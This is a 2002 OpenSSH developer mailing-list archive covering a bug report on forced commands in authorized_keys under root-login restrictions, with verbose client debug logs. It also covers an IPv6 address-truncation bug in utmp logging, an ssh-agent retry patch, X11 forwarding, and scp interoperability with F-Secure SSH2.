Date: Tue, 20 Aug 2002 03:05:38 +1000 (EST)
Subject: [Bug 387] New: command="" in authorized_keys fails when sshd_config has "PermitRootLogon forced-commands-only"
Message-ID: <20020819170538.AFF7F3D161@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=387

           Summary: command="" in authorized_keys fails when sshd_config has
                    "PermitRootLogon forced-commands-only"
           Product: Portable OpenSSH
           Version: -current
          Platform: All
        OS/Version: Linux
            Status: NEW
          Severity: major
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: dsm at egenera.com


Using openssh 3.4p1, and setting the follwing command in ~/.ssh/authorized_keys
for root:

from="172.26.2.22",command="echo
yes",no-pty,no-port-forwarding,no-X11-forwarding,no-agent-forwarding ssh-rsa
<rsa key> root.rsync.rsa

when "PermitRootLogon forced-commands-only" is set in /usr/local/etc/sshd_config:

[root at ford .ssh]# ssh -v -v -v mass
OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090605f
debug1: Reading configuration data /usr/local/etc/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to mass [172.26.2.24] port 22.
debug1: Connection established.
debug1: identity file /root/.ssh/identity type 0
debug3: Not a RSA1 key file /root/.ssh/id_rsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: no key found
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: no key found
debug1: identity file /root/.ssh/id_rsa type 1
debug3: Not a RSA1 key file /root/.ssh/id_dsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: no key found
debug2: key_type_from_name: unknown key type 'Proc-Type:'
debug3: key_read: no key found
debug2: key_type_from_name: unknown key type 'DEK-Info:'
debug3: key_read: no key found
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: no key found
debug1: identity file /root/.ssh/id_dsa type 2
debug1: Remote protocol version 2.0, remote software version OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1578/3191
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename /root/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 70
debug3: check_host_in_hostfile: filename /root/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 70
debug1: Host 'mass' is known and matches the RSA host key.
debug1: Found key in /root/.ssh/known_hosts:70
debug1: bits set: 1650/3191
debug1: ssh_rsa_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue: publickey,password,keyboard-interactive
debug3: start over, passed a different list publickey,password,keyboard-interactive
debug3: preferred publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: next auth method to try is publickey
debug1: userauth_pubkey_agent: testing agent key /root/.ssh/id_rsa
debug3: send_pubkey_test
debug2: we sent a publickey packet, wait for reply
debug1: Remote: Forced command: echo yes
debug1: Remote: Pty allocation disabled.
debug1: Remote: Port forwarding disabled.
debug1: Remote: X11 forwarding disabled.
debug1: Remote: Agent forwarding disabled.
debug1: input_userauth_pk_ok: pkalg ssh-rsa blen 149 lastkey 0x810acb8 hint -1
debug2: input_userauth_pk_ok: fp 3d:8d:0c:63:4c:31:62:7a:de:c7:b6:aa:58:b2:07:5a
debug3: sign_and_send_pubkey
debug3: clear_auth_state: key_free 0x810acb8
debug1: Remote: Forced command: echo yes
debug1: Remote: Pty allocation disabled.
debug1: Remote: Port forwarding disabled.
debug1: Remote: X11 forwarding disabled.
debug1: Remote: Agent forwarding disabled.
debug1: authentications that can continue: publickey,password,keyboard-interactive
debug1: userauth_pubkey_agent: testing agent key /root/.ssh/id_dsa
debug3: send_pubkey_test
debug2: we sent a publickey packet, wait for reply
Connection closed by 172.26.2.24
debug1: Calling cleanup 0x8061978(0x0)
[root at ford .ssh]#
---------------------------------------------------------

when "PermitRootLogin yes":

[root at ford .ssh]# ssh -v -v -v mass
OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090605f
debug1: Reading configuration data /usr/local/etc/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to mass [172.26.2.24] port 22.
debug1: Connection established.
debug1: identity file /root/.ssh/identity type 0
debug3: Not a RSA1 key file /root/.ssh/id_rsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: no key found
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: no key found
debug1: identity file /root/.ssh/id_rsa type 1
debug3: Not a RSA1 key file /root/.ssh/id_dsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: no key found
debug2: key_type_from_name: unknown key type 'Proc-Type:'
debug3: key_read: no key found
debug2: key_type_from_name: unknown key type 'DEK-Info:'
debug3: key_read: no key found
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug3: key_read: no space
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: no key found
debug1: identity file /root/.ssh/id_dsa type 2
debug1: Remote protocol version 2.0, remote software version OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 129/256
debug1: bits set: 1572/3191
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename /root/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 70
debug3: check_host_in_hostfile: filename /root/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 70
debug1: Host 'mass' is known and matches the RSA host key.
debug1: Found key in /root/.ssh/known_hosts:70
debug1: bits set: 1551/3191
debug1: ssh_rsa_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue: publickey,password,keyboard-interactive
debug3: start over, passed a different list publickey,password,keyboard-interactive
debug3: preferred publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: next auth method to try is publickey
debug1: userauth_pubkey_agent: testing agent key /root/.ssh/id_rsa
debug3: send_pubkey_test
debug2: we sent a publickey packet, wait for reply
debug1: Remote: Forced command: echo yes
debug1: Remote: Pty allocation disabled.
debug1: Remote: Port forwarding disabled.
debug1: Remote: X11 forwarding disabled.
debug1: Remote: Agent forwarding disabled.
debug1: input_userauth_pk_ok: pkalg ssh-rsa blen 149 lastkey 0x810acb8 hint -1
debug2: input_userauth_pk_ok: fp 3d:8d:0c:63:4c:31:62:7a:de:c7:b6:aa:58:b2:07:5a
debug3: sign_and_send_pubkey
debug3: clear_auth_state: key_free 0x810acb8
debug1: Remote: Forced command: echo yes
debug1: Remote: Pty allocation disabled.
debug1: Remote: Port forwarding disabled.
debug1: Remote: X11 forwarding disabled.
debug1: Remote: Agent forwarding disabled.
debug1: ssh-userauth2 successful: method publickey
debug1: channel 0: new [client-session]
debug3: ssh_session2_open: channel_new: 0
debug1: send channel open 0
debug1: Entering interactive session.
debug2: callback start
debug1: ssh_session2_setup: id 0
debug1: channel request 0: pty-req
debug3: tty_make_modes: ospeed 38400
debug3: tty_make_modes: ispeed 38400
debug3: tty_make_modes: 1 3
debug3: tty_make_modes: 2 28
debug3: tty_make_modes: 3 127
debug3: tty_make_modes: 4 21
debug3: tty_make_modes: 5 4
debug3: tty_make_modes: 6 0
debug3: tty_make_modes: 7 0
debug3: tty_make_modes: 8 17
debug3: tty_make_modes: 9 19
debug3: tty_make_modes: 10 26
debug3: tty_make_modes: 12 18
debug3: tty_make_modes: 13 23
debug3: tty_make_modes: 14 22
debug3: tty_make_modes: 18 15
debug3: tty_make_modes: 30 0
debug3: tty_make_modes: 31 0
debug3: tty_make_modes: 32 0
debug3: tty_make_modes: 33 0
debug3: tty_make_modes: 34 0
debug3: tty_make_modes: 35 0
debug3: tty_make_modes: 36 1
debug3: tty_make_modes: 37 0
debug3: tty_make_modes: 38 1
debug3: tty_make_modes: 39 0
debug3: tty_make_modes: 40 0
debug3: tty_make_modes: 41 0
debug3: tty_make_modes: 50 1
debug3: tty_make_modes: 51 1
debug3: tty_make_modes: 52 0
debug3: tty_make_modes: 53 1
debug3: tty_make_modes: 54 1
debug3: tty_make_modes: 55 1
debug3: tty_make_modes: 56 0
debug3: tty_make_modes: 57 0
debug3: tty_make_modes: 58 0
debug3: tty_make_modes: 59 1
debug3: tty_make_modes: 60 1
debug3: tty_make_modes: 61 1
debug3: tty_make_modes: 62 0
debug3: tty_make_modes: 70 1
debug3: tty_make_modes: 71 0
debug3: tty_make_modes: 72 1
debug3: tty_make_modes: 73 0
debug3: tty_make_modes: 74 0
debug3: tty_make_modes: 75 0
debug3: tty_make_modes: 90 1
debug3: tty_make_modes: 91 1
debug3: tty_make_modes: 92 0
debug3: tty_make_modes: 93 0
debug1: channel request 0: shell
debug1: fd 3 setting TCP_NODELAY
debug2: callback done
debug1: channel 0: open confirm rwindow 0 rmax 32768
debug2: channel 0: rcvd adjust 131072
yes
   debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: channel 0: rcvd eof
debug1: channel 0: output open -> drain
debug1: channel 0: obuf empty
debug1: channel 0: close_write
debug1: channel 0: output drain -> closed
debug1: channel 0: rcvd close
debug1: channel 0: close_read
debug1: channel 0: input open -> closed
debug3: channel 0: will not send data after close
debug1: channel 0: almost dead
debug1: channel 0: gc: notify user
debug1: channel 0: gc: user detached
debug1: channel 0: send close
debug1: channel 0: is dead
debug1: channel 0: garbage collecting
debug1: channel_free: channel 0: client-session, nchannels 1
debug3: channel_free: status: The following connections are open:
  #0 client-session (t4 r0 i3/0 o3/0 fd -1/-1)

debug3: channel_close_fds: channel 0: r -1 w -1 e 6
Connection to mass closed.
debug1: Transferred: stdin 0, stdout 0, stderr 28 bytes in 0.0 seconds
debug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 693.6
debug1: Exit status 0
[root at ford .ssh]#



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From ume at FreeBSD.org  Tue Aug 20 04:06:50 2002
From: ume at FreeBSD.org (Hajimu UMEMOTO)
Date: Tue, 20 Aug 2002 03:06:50 +0900
Subject: sshd doesn't log hostname into utmp correctly [resend]
Message-ID: <yge65y667ut.wl@mille.mahoroba.org>

Hi,

Though I sent this message before, I didn't get any response.  So, I
send this message, again.
This problem is occur when the connection is form IPv6, and IPv4 is
not affected.

openssh-3.4p1 doesn't handle actual size of struct sockaddr correctly,
and does copy it as long as just size of struct sockaddr.  So, sshd
deesn't log hostname into utmp correctly.  Here is a patch to fix this
problem.

Sincerely,

-------------- next part --------------
A non-text attachment was scrubbed...
Name: openssh-3.4p1-loghost.diff
Type: text/x-patch
Size: 3998 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020820/a93f3bd1/attachment.bin 
-------------- next part --------------
--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume at mahoroba.org  ume at bisd.hitachi.co.jp  ume@{,jp.}FreeBSD.org
http://www.imasy.org/~ume/

From kevin at atomicgears.com  Tue Aug 20 07:19:02 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Mon, 19 Aug 2002 14:19:02 -0700
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <yge65y667ut.wl@mille.mahoroba.org>
References: <yge65y667ut.wl@mille.mahoroba.org>
Message-ID: <20020819211902.GA27268@scott.crlsca.adelphia.net>

On Tue, Aug 20, 2002 at 03:06:50AM +0900, Hajimu UMEMOTO wrote:
> Though I sent this message before, I didn't get any response.  So, I
> send this message, again.
> This problem is occur when the connection is form IPv6, and IPv4 is
> not affected.
> 
> openssh-3.4p1 doesn't handle actual size of struct sockaddr correctly,
> and does copy it as long as just size of struct sockaddr.  So, sshd
> deesn't log hostname into utmp correctly.  Here is a patch to fix this
> problem.

thanks.  which utmp field is effected?  in loginrec.c i see ut_addr
being set from sockaddr, but for AF_INET only.  and ut_host is set
from the login_alloc_entry() hostname argument it seems.


From kevin at atomicgears.com  Tue Aug 20 07:23:21 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Mon, 19 Aug 2002 14:23:21 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020819014201.GC17212@lizzy.catnook.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com>
Message-ID: <20020819212321.GB27268@scott.crlsca.adelphia.net>

On Sun, Aug 18, 2002 at 06:41:39PM -0701, Jos Backus wrote:
> On Sun, Aug 18, 2002 at 02:41:11PM -0700, Kevin Steves wrote:
> > it is not a 100% fix to this issue, but i think a higher listen
> > backlog will address this in most cases where the kernel allows a
> > large backlog maximum.  5 is just too low.  128 or 256 perhaps.
> 
> That's what I thought as well, and so we racked it up to 256 (I think even
> higher - not sure what the maximum listen queue depth is on Solaris). But it
> did not work well enough (sorry, don't remember the details), hence this patch
> which is part of our standard distribution at work. We have a perl script
> which is used to routinely update hundreds of machines with a single command,
> and it works very well with this patch.

i would like to know the details of why it did not work.

this is the default kernel max i see here:

[stevesk at scott stevesk]$ uname -sr
SunOS 5.8
[stevesk at scott stevesk]$ ndd -get /dev/tcp tcp_conn_req_max_q
128


From bugzilla-daemon at mindrot.org  Tue Aug 20 08:19:37 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Tue, 20 Aug 2002 08:19:37 +1000 (EST)
Subject: [Bug 333] X11 forwarding not working in OpenSSH 3.4p1
Message-ID: <20020819221937.121693D171@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=333





------- Additional Comments From stevesk at pobox.com  2002-08-20 08:19 -------
try ssh -v with -current.  there is a new debug and warning
message.  see ssh.c:x11_get_proto().



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From ume at FreeBSD.org  Tue Aug 20 15:49:43 2002
From: ume at FreeBSD.org (Hajimu UMEMOTO)
Date: Tue, 20 Aug 2002 14:49:43 +0900
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <20020819211902.GA27268@scott.crlsca.adelphia.net>
References: <yge65y667ut.wl@mille.mahoroba.org>
	<20020819211902.GA27268@scott.crlsca.adelphia.net>
Message-ID: <ygeelcu6pvs.wl@mille.mahoroba.org>

Hi,

>>>>> On Mon, 19 Aug 2002 14:19:02 -0700
>>>>> Kevin Steves <kevin at atomicgears.com> said:

kevin> thanks.  which utmp field is effected?  in loginrec.c i see ut_addr
kevin> being set from sockaddr, but for AF_INET only.  and ut_host is set
kevin> from the login_alloc_entry() hostname argument it seems.

record_login() copies addr by calling login_set_addr() but just
sizeof(struct sockaddr).  Since sizeof(struct sockaddr) is equal to
sizeof(struct sockaddr_in), IPv4 is not affected.  However,
sizeof(struct sockaddr) is too short against sizeof(struct
sockaddr_in6).  This breaks IPv6 address.

Sincrely,

--
Hajimu UMEMOTO @ Network Solution System Development Div., Hitachi Ltd.
E-Mail: ume at bisd.hitachi.co.jp ume at mahoroba.org  ume@{,jp.}FreeBSD.org
URL: http://www.imasy.org/~ume/


From jos at catnook.com  Tue Aug 20 16:05:54 2002
From: jos at catnook.com (Jos Backus)
Date: Mon, 19 Aug 2002 23:04:54 -0701
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020819212321.GB27268@scott.crlsca.adelphia.net>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <20020819212321.GB27268@scott.crlsca.adelphia.net>
Message-ID: <20020820060516.GC34449@lizzy.catnook.com>

On Mon, Aug 19, 2002 at 02:23:21PM -0700, Kevin Steves wrote:
> i would like to know the details of why it did not work.

I'll try to come up with some details.

> this is the default kernel max i see here:
> 
> [stevesk at scott stevesk]$ uname -sr
> SunOS 5.8
> [stevesk at scott stevesk]$ ndd -get /dev/tcp tcp_conn_req_max_q
> 128

Same here.

-- 
Jos Backus                       _/  _/_/_/      Sunnyvale, CA
                                _/  _/   _/
                               _/  _/_/_/
                          _/  _/  _/    _/
jos at catnook.com        _/_/   _/_/_/          require 'std/disclaimer'


From osmo.paananen at sonera.inet.fi  Tue Aug 20 18:54:51 2002
From: osmo.paananen at sonera.inet.fi (osmo.paananen at sonera.inet.fi)
Date: Tue, 20 Aug 2002 11:54:51 +0300
Subject: scp with F-Secure SSH2
Message-ID: <20020820085452.XWFW25793.fep05.tmt.tele.fi@fep05>

Hi!

I was browsing through archives and found out that somebody else was having
the same problem as I'm.

http://bugzilla.mindrot.org/show_bug.cgi?id=248

from the client, when I run scp to the server, I get:
scp: warning: Executing scp1 compatibility.
scp: FATAL: Executing ssh1 in compatibility mode failed (Check that scp1 is in
your PATH).


There are more details about this problem here: http://www.snailbook.com/faq/scp-ossh-to-ssh2.auto.html


The problem seems to be that there is a new implementation of scp.  Has anyone considered of supporting scp2 with openssh?
Are there problems with it or isn't just anyone interested about writing the code for it?





From mouring at etoh.eviladmin.org  Tue Aug 20 23:08:39 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 20 Aug 2002 08:08:39 -0500 (CDT)
Subject: scp with F-Secure SSH2
In-Reply-To: <20020820085452.XWFW25793.fep05.tmt.tele.fi@fep05>
Message-ID: <Pine.BSO.4.44.0208200807300.2234-100000@etoh.eviladmin.org>

scp2 is just sftp protocol.  So until someone spends the time to teach scp
how to speak sftp protocol your best best is just to use sftp.  Or
complain to the vendor.

- Ben

On Tue, 20 Aug 2002 osmo.paananen at sonera.inet.fi wrote:

> Hi!
>
> I was browsing through archives and found out that somebody else was having
> the same problem as I'm.
>
> http://bugzilla.mindrot.org/show_bug.cgi?id=248
>
> from the client, when I run scp to the server, I get:
> scp: warning: Executing scp1 compatibility.
> scp: FATAL: Executing ssh1 in compatibility mode failed (Check that scp1 is in
> your PATH).
>
>
> There are more details about this problem here: http://www.snailbook.com/faq/scp-ossh-to-ssh2.auto.html
>
>
> The problem seems to be that there is a new implementation of scp.  Has anyone considered of supporting scp2 with openssh?
> Are there problems with it or isn't just anyone interested about writing the code for it?
>
>
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From kevin at atomicgears.com  Tue Aug 20 23:49:22 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Tue, 20 Aug 2002 06:49:22 -0700
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <ygeelcu6pvs.wl@mille.mahoroba.org>
References: <yge65y667ut.wl@mille.mahoroba.org> <20020819211902.GA27268@scott.crlsca.adelphia.net> <ygeelcu6pvs.wl@mille.mahoroba.org>
Message-ID: <20020820134922.GA28367@scott.crlsca.adelphia.net>

On Tue, Aug 20, 2002 at 02:49:43PM +0900, Hajimu UMEMOTO wrote:
> >>>>> On Mon, 19 Aug 2002 14:19:02 -0700
> >>>>> Kevin Steves <kevin at atomicgears.com> said:
> 
> kevin> thanks.  which utmp field is effected?  in loginrec.c i see ut_addr
> kevin> being set from sockaddr, but for AF_INET only.  and ut_host is set
> kevin> from the login_alloc_entry() hostname argument it seems.
> 
> record_login() copies addr by calling login_set_addr() but just
> sizeof(struct sockaddr).  Since sizeof(struct sockaddr) is equal to
> sizeof(struct sockaddr_in), IPv4 is not affected.  However,
> sizeof(struct sockaddr) is too short against sizeof(struct
> sockaddr_in6).  This breaks IPv6 address.

i understand the issue, but i don't see how current utmp recording
results are changed.  i am looking at this code.

# ifdef HAVE_HOST_IN_UTMP
	strncpy(ut->ut_host, li->hostname, MIN_SIZEOF(ut->ut_host, li->hostname));
# endif
# ifdef HAVE_ADDR_IN_UTMP
	/* this is just a 32-bit IP address */
	if (li->hostaddr.sa.sa_family == AF_INET)
		ut->ut_addr = li->hostaddr.sa_in.sin_addr.s_addr;
# endif


From kevin at atomicgears.com  Wed Aug 21 00:27:57 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Tue, 20 Aug 2002 07:27:57 -0700
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <ygeelcu6pvs.wl@mille.mahoroba.org>
References: <yge65y667ut.wl@mille.mahoroba.org> <20020819211902.GA27268@scott.crlsca.adelphia.net> <ygeelcu6pvs.wl@mille.mahoroba.org>
Message-ID: <20020820142757.GB28367@scott.crlsca.adelphia.net>

does this defeat utmp_len and verify_reverse_mapping?

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/loginrec.c.diff?r1=1.1&r2=1.2


From osmo.paananen at sonera.inet.fi  Wed Aug 21 00:32:56 2002
From: osmo.paananen at sonera.inet.fi (osmo.paananen at sonera.inet.fi)
Date: Tue, 20 Aug 2002 17:32:56 +0300
Subject: scp with F-Secure SSH2
Message-ID: <20020820143256.XYWJ25793.fep05.tmt.tele.fi@fep05>

Hi!

Thank you for this bit of information. Somehow I just forgot the existanse of
sftp. 

It shouldn't be too hard to make a small program (say a shell script) that would be wrapper for sftp.  I didn't check but I guess that if some ssh2 server has sftp disabled some more magic would be required. (scp should be executed instead 
of sftp).

But that solution would not be pretty. If someone has a nice and pretty idea how this could be solved I'm all ears.



> scp2 is just sftp protocol.  So until someone spends the time to teach scp
> how to speak sftp protocol your best best is just to use sftp.  Or
> complain to the vendor.
> 
> - Ben
> 
> On Tue, 20 Aug 2002 osmo.paananen at sonera.inet.fi wrote:
> 
> > Hi!
> >
> > I was browsing through archives and found out that somebody else was having
> > the same problem as I'm.
> >
> > http://bugzilla.mindrot.org/show_bug.cgi?id=248
> >
> > from the client, when I run scp to the server, I get:
> > scp: warning: Executing scp1 compatibility.
> > scp: FATAL: Executing ssh1 in compatibility mode failed (Check that scp1 is in
> > your PATH).
> >
> >
> > There are more details about this problem here: http://www.snailbook.com/faq/scp-ossh-to-ssh2.auto.html
> >
> >
> > The problem seems to be that there is a new implementation of scp.  Has anyone considered of supporting scp2 with openssh?
> > Are there problems with it or isn't just anyone interested about writing the code for it?
> >
> >
> >
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
> 
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 




From ume at mahoroba.org  Wed Aug 21 01:05:45 2002
From: ume at mahoroba.org (Hajimu UMEMOTO)
